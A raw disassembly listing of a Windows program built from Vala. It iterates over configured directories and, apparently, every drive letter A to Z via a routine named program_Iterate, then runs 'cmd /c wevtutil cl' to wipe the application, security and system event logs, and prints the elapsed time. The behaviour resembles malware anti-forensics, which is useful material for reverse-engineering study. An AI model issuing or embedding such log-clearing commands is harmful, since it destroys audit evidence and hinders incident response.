call sym._vala_array_free
mov qword [rbp + 0x7c8], 0
mov rax, qword [rbp]
mov ebx, dword [rax + 4]
mov rax, qword [rbp]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_to_string]
call rax
mov rdx, qword [rbp]
mov rdx, qword [rdx + 8]
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x575
lea r9, str.C:_msys64_home_poco_main.vala.c
lea r8, [0x1400150e0]
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_log]
call rax
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x140005233
mov rax, qword [rbp + 0x420]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x420], 0
jmp 0x14000402d
nop
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x320], rax
mov rax, qword [rbp + 0x320]
mov rcx, rax
call sym.settings_get_IncludeDirectories
mov dword [rbp + 0x31c], eax
mov eax, dword [rbp + 0x31c]
mov dword [rbp + 0x318], eax
cmp dword [rbp + 0x318], 0
je 0x1400047fd
mov dword [rbp + 0x7e0], 0
mov dword [rbp + 0x7e0], 0
mov dword [rbp + 0x7dc], 0
mov dword [rbp + 0x7dc], 1
mov dword [rbp - 0x30], 0
mov dword [rbp - 0x34], 0
cmp dword [rbp + 0x7dc], 0
jne 0x1400046d0
add dword [rbp + 0x7e0], 1
mov eax, dword [rbp + 0x7e0]
mov dword [rbp + 0x1d0], eax
mov dword [rbp + 0x7dc], 0
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
call sym.settings_get_DirectorySet
mov qword [rbp + 0x1c0], rax
mov eax, dword [rbp - 0x30]
mov dword [rbp + 0x1bc], eax
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x1b0], rax
mov eax, dword [rbp + 0x1bc]
mov dword [rbp + 0x1ac], eax
mov eax, dword [rbp + 0x7e0]
cmp eax, dword [rbp + 0x1ac]
jge 0x140004fee
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x1a0], rax
lea rdx, [rbp - 0x34]
mov rax, qword [rbp + 0x1a0]
mov rcx, rax
call sym.settings_get_DirectorySet
mov qword [rbp + 0x198], rax
mov eax, dword [rbp - 0x34]
mov dword [rbp + 0x194], eax
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x188], rax
mov eax, dword [rbp + 0x194]
mov dword [rbp + 0x184], eax
mov eax, dword [rbp + 0x7e0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x188]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x7b0]
mov qword [rbp + 0x168], rax
mov eax, dword [rbp + 0x614]
mov dword [rbp + 0x164], eax
mov r8d, dword [rbp + 0x164]
mov rcx, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x170]
mov rax, qword [rbp + 0x178]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call sym.program_Iterate
jmp 0x1400046a6
mov qword [rbp + 0x310], 0
lea rax, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x308], rax
lea rax, [0x1400153fa]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x300], rax
lea rax, [0x1400153fc]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2f8], rax
lea rax, [0x1400153fe]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2f0], rax
lea rax, [0x140015400]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2e8], rax
lea rax, [0x140015402]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2e0], rax
lea rax, [0x140015404]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2d8], rax
lea rax, [0x140015406]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2d0], rax
lea rax, [0x140015408]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2c8], rax
lea rax, [0x14001540a]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2c0], rax
lea rax, [0x14001540c]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2b8], rax
lea rax, [0x14001540e]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2b0], rax
lea rax, [0x140015410]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2a8], rax
lea rax, [0x140015412]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2a0], rax
lea rax, [0x140015414]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x298], rax
lea rax, [0x140015416]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x290], rax
lea rax, [0x140015418]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x288], rax
lea rax, [0x14001541a]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x280], rax
lea rax, [0x14001541c]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x278], rax
lea rax, [0x14001541e]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x270], rax
lea rax, [0x140015420]
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x268], rax
lea rax, [0x140015422]
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0xb8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x260], rax
lea rax, [0x140015424]
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x258], rax
lea rax, [0x140015426]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x250], rax
lea rax, [0x140015428]
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x248], rax
lea rax, [0x14001542a]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x240], rax
mov edx, 8
mov ecx, 0x1b
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_malloc0_n]
call rax
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
mov rdx, qword [rbp + 0x308]
mov qword [rax], rdx
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 8]
mov rax, qword [rbp + 0x300]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x10]
mov rax, qword [rbp + 0x2f8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x18]
mov rax, qword [rbp + 0x2f0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x20]
mov rax, qword [rbp + 0x2e8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x28]
mov rax, qword [rbp + 0x2e0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x30]
mov rax, qword [rbp + 0x2d8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x38]
mov rax, qword [rbp + 0x2d0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x40]
mov rax, qword [rbp + 0x2c8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x48]
mov rax, qword [rbp + 0x2c0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x50]
mov rax, qword [rbp + 0x2b8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x58]
mov rax, qword [rbp + 0x2b0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x60]
mov rax, qword [rbp + 0x2a8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x68]
mov rax, qword [rbp + 0x2a0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x70]
mov rax, qword [rbp + 0x298]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x78]
mov rax, qword [rbp + 0x290]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x80]
mov rax, qword [rbp + 0x288]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x88]
mov rax, qword [rbp + 0x280]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x90]
mov rax, qword [rbp + 0x278]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0x98]
mov rax, qword [rbp + 0x270]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0xa0]
mov rax, qword [rbp + 0x268]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0xa8]
mov rax, qword [rbp + 0x260]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0xb0]
mov rax, qword [rbp + 0x258]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0xb8]
mov rax, qword [rbp + 0x250]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0xc0]
mov rax, qword [rbp + 0x248]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 0xc8]
mov rax, qword [rbp + 0x240]
mov qword [rdx], rax
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0x310], rax
mov dword [rbp + 0x234], 0x1a
mov eax, dword [rbp + 0x234]
mov dword [rbp + 0x230], eax
mov dword [rbp + 0x7d8], 0
mov dword [rbp + 0x7d8], 0
mov dword [rbp + 0x7d4], 0
mov dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0
jne 0x140004e8a
mov eax, dword [rbp + 0x7d8]
mov dword [rbp + 0x22c], eax
mov eax, dword [rbp + 0x22c]
add eax, 1
mov dword [rbp + 0x7d8], eax
mov dword [rbp + 0x7d4], 0
mov rax, qword [rbp + 0x310]
mov qword [rbp + 0x220], rax
mov eax, dword [rbp + 0x234]
mov dword [rbp + 0x21c], eax
mov eax, dword [rbp + 0x7d8]
cmp eax, dword [rbp + 0x21c]
jge 0x140004fbe
mov rax, qword [rbp + 0x310]
mov qword [rbp + 0x210], rax
mov eax, dword [rbp + 0x234]
mov dword [rbp + 0x20c], eax
mov eax, dword [rbp + 0x7d8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x210]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x200]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1f8]
mov r8d, 0
lea rdx, [0x14001542c]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x1f0], rax
mov rax, qword [rbp + 0x1f0]
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x7b0]
mov qword [rbp + 0x1d8], rax
mov eax, dword [rbp + 0x614]
mov dword [rbp + 0x1d4], eax
mov r8d, dword [rbp + 0x1d4]
mov rcx, qword [rbp + 0x1d8]
mov rdx, qword [rbp + 0x1e0]
mov rax, qword [rbp + 0x1e8]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call sym.program_Iterate
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x1e8], 0
jmp 0x140004e66
nop
mov eax, dword [rbp + 0x234]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x310]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x310], 0
jmp 0x140004fef
nop
lea rax, str.cmd__c__wevtutil_cl_application_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__wevtutil_cl_security_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__wevtutil_cl_system_
mov rcx, rax
call sym.system
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_new_now_utc]
call rax
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rbp + 0x148], rax
mov rdx, qword [rbp + 0x148]
mov rax, qword [rbp + 0x150]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_difference]
call rax
mov qword [rbp + 0x7a0], rax
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0x140], rax
pxor xmm0, xmm0
cvtsi2sd xmm0, qword [rbp + 0x7a0]
movsd xmm1, qword [0x140015688]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call sym.double_to_string
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x128]
mov r8d, 0
lea rdx, [0x14001548b]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x118], rax
mov rdx, qword [rbp + 0x118]
mov rax, qword [rbp + 0x140]
mov r8, rdx
lea rdx, [0x14001516f]
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x118]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x118], 0
mov rax, qword [rbp + 0x130]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x130], 0
cmp qword [rbp + 0x7a8], 0
je 0x140005198
mov rax, qword [rbp + 0x7a8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0x7a8], 0
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x7b0], 0
cmp qword [rbp + 0x7b8], 0
je 0x1400051de
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0x7b8], 0
cmp qword [rbp + 0x7c0], 0
je 0x140005206
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0x7c0], 0
mov eax, dword [rbp + 0x78c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x7c8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x7c8], 0
add rsp, 0x898
pop rbx
pop rbp
ret